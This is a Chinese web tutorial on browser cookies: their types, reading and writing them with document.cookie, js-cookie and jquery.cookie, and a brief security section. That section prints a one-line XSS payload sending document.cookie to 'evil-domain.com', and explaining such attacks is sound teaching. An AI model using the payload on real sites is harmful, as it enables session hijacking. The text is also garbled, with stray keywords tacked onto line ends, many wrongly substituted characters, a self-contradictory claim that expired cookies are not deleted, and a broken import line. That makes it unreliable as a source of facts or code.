Cookie
,小型文本文本,是某些网站为了辨别用户身份而加密存储在用户本地终端上的数据(来自维基百科)javascript
Cookie
老是保存在客户端中,按在客户端中的存储位置,可分为内存Cookie
和硬盘Cookie
。php
内存cookie
由浏览器维护,保存在内存中,浏览器关闭后就消失了,存在时间是短暂的。css
硬盘cookie
保存在硬盘里,有一个过时时间,除非用户手工清理或到了过时时间,到了过时时间,硬盘cookie
不会被删除,存在时间是长期的。html
因此按照存在时间,分为非持久cookie
和持久cookie
。java
Web
浏览器和服务器使用HTTP
协议进行通讯,由于HTTP
是无状态协议,因此服务器不知道用户上一次作了什么,不利于交互式Web
应用程序的实现。但对于商业网站,须要在不一样页面之间维护会话信息。服务器能够设置或读取Cookies
中包含信息,借此维护用户跟服务器会话)中的状态。jquery
Cookie
另外一个典型的应用是当登陆一个网站时,网站每每会请求用户输入用户名和密码,而且用户能够勾选“下次自动登陆”。若是勾选了,那么下次访问同一网站时,用户会发现没输入用户名和密码就已经登陆了。这正是由于前一次登陆时,服务器发送了包含登陆凭据(用户名加密码的某种加密形式)的Cookie
到用户的硬盘上。第二次登陆时,若是该Cookie
还没有到期,浏览器会发送该Cookie
,服务器验证凭据,用户没必要输入用户名和密码就能够登陆了。shell
在许多状况下,使用Cookie是记住和跟踪偏好以及更好的提升访问者体验或网站统计所需的其余信息的最有效方法。npm
Cookie
主要用于如下三个方面:浏览器
Cookie
会被附加在每一个HTTP
请求中,因此无形中增长了性能开销HTTP
请求中的Cookie
是明文传递的,因此存在安全性问题,除非用HTTPS
新的浏览器API
已经容许开发者直接将数据存储到本地,如使用 Web storage API (本地存储和会话存储)或 IndexedDB 。安全
当服务器收到HTTP
请求时,服务器能够在响应头里面添加一个Set-Cookie
选项。浏览器收到响应后一般会保存下Cookie
,以后对该服务器每一次请求中都经过Cookie
请求头部将Cookie
信息发送给服务器,服务器会知道/记住以前访问的内容。另外,Cookie
的过时时间、域、路径、有效期、适用站点均可以根据须要来指定。
Expires*
):若是这是空白,则访问者退出浏览器时cookie将过时Domain
):网站域名Path
):设置cookie
的目录或网页的路径JavaScript
可使用Document
对象的cookie
属性来操做cookie
。JavaScript
能够读取、建立、修改和删除适用于当前网页的cookie
。
建立cookie
的最简单方法是为document.cookie
对象分配一个字符串值:
document.cookie = "key1 = value1;key2 = value2;expires = date";
这里的expires属性是可选的。若是您为此属性提供有效的日期或时间,则cookie将在给定的日期或时间到期,此后,cookie的值将没法访问。
设置Cookie过时时间
经过设置过时日期并在cookie中保存到期日期来延长cookie
的生命周期,使其超出当前浏览器会话。这能够经过将'expires'属性设置为日期和时间来完成。
<html> <head> <script type = "text/javascript"> <!-- function WriteCookie() { var now = new Date(); now.setMonth( now.getMonth() + 1 ); cookievalue = escape(document.myform.customer.value) + ";" document.cookie = "name=" + cookievalue; document.cookie = "expires=" + now.toUTCString() + ";" document.write ("Setting Cookies : " + "name=" + cookievalue ); } //--> </script> </head> <body> <form name = "myform" action = ""> Enter name: <input type = "text" name = "customer"/> <input type = "button" value = "Set Cookie" onclick = "WriteCookie()"/> </form> </body> </html>
<html> <head> <script type = "text/javascript"> <!-- function ReadCookie() { var allcookies = document.cookie; document.write ("All Cookies : " + allcookies ); // Get all the cookies pairs in an array cookiearray = allcookies.split(';'); // Now take key value pair out of this array for(var i=0; i<cookiearray.length; i++) { name = cookiearray[i].split('=')[0]; value = cookiearray[i].split('=')[1]; document.write ("Key is : " + name + " and Value is : " + value); } } //--> </script> </head> <body> <form name = "myform" action = ""> <p> click the following button and see the result:</p> <input type = "button" value = "Get Cookie" onclick = "ReadCookie()"/> </form> </body> </html>
只需将到期日期设置为过去的时间。
<html> <head> <script type = "text/javascript"> <!-- function WriteCookie() { var now = new Date(); now.setMonth( now.getMonth() - 1 ); cookievalue = escape(document.myform.customer.value) + ";" document.cookie = "name=" + cookievalue; document.cookie = "expires=" + now.toUTCString() + ";" document.write("Setting Cookies : " + "name=" + cookievalue ); } //--> </script> </head> <body> <form name = "myform" action = ""> Enter name: <input type = "text" name = "customer"/> <input type = "button" value = "Set Cookie" onclick = "WriteCookie()"/> </form> </body> </html>
js-cookie.js
// CDN <script src="https://cdn.jsdelivr.net/npm/js-cookie@2/src/js.cookie.min.js"></script> // 本地 <script src="./js/js.cookie.js"></script>
npm install js-cookie
import Cookir form js-cookie
Cookies.set('name', 'value', { expires: 7, path: '' }); //7天过时
Cookies.get('name'); //获取cookie Cookies.get(); //读取全部的cookie
Cookies.remove('name'); //删除cookie时必须是同一个路径。
jquery.cookie.js
<script type="text/javascript" src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script> <script type="text/javascript" src="//cdn.bootcss.com/jquery-cookie/1.4.1/jquery.cookie.min.js"></script>
//建立一个会话cookie,所建立的cookie有效期默认到用户浏览器关闭止 $.cookie("name","AmberYLopez"); //建立一个持久cookie,指明时间时,故称为持久cookie,而且有效时间为7天 $.cookie("name","AmberYLopez",{expires:7}); //建立一个持久并带有效路径的cookie //若是不设置有效路径,在默认状况下,只能在cookie设置当前页面读取该cookie,cookie的路径用于设置可以读取cookie的顶级目录。 $.cookie("name","AmberYLopez",{expires:7,path:'/'}); //建立一个持久并带有效路径和域名的cookie //domain:建立cookie所在网页所拥有的域名;secure:默认是false,若是为true,cookie的传输协议需为https; //raw:默认为false,读取和写入时候自动进行编码和解码(使用encodeURIComponent编码,使用decodeURIComponent解码),关闭这个功能,请设置为true。 $.cookie("name","AmberYLopez",{expires:7,path:'/',domain:'chuhoo.com',secure:false,raw:false});
$.cookie("name"); //若是存在则返回AmberYLopez,不然返回null。
$.cookie("name",null);
保护cookie
不被非法访问的惟一方法是将它放在另外一个域名/子域名之下,,利用同源策略保护其不被读取。
Web
应用程序一般使用cookies
来标识用户身份及他们的登陆会话.。所以经过窃听这些cookie
, 就能够劫持已登陆用户的会话.,窃听的cookie
的常见方法包括CSRF攻击和XSS攻击
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly
属性能够阻止经过javascript
访问cookie
,从而必定程度上遏制这类攻击。
参考资料: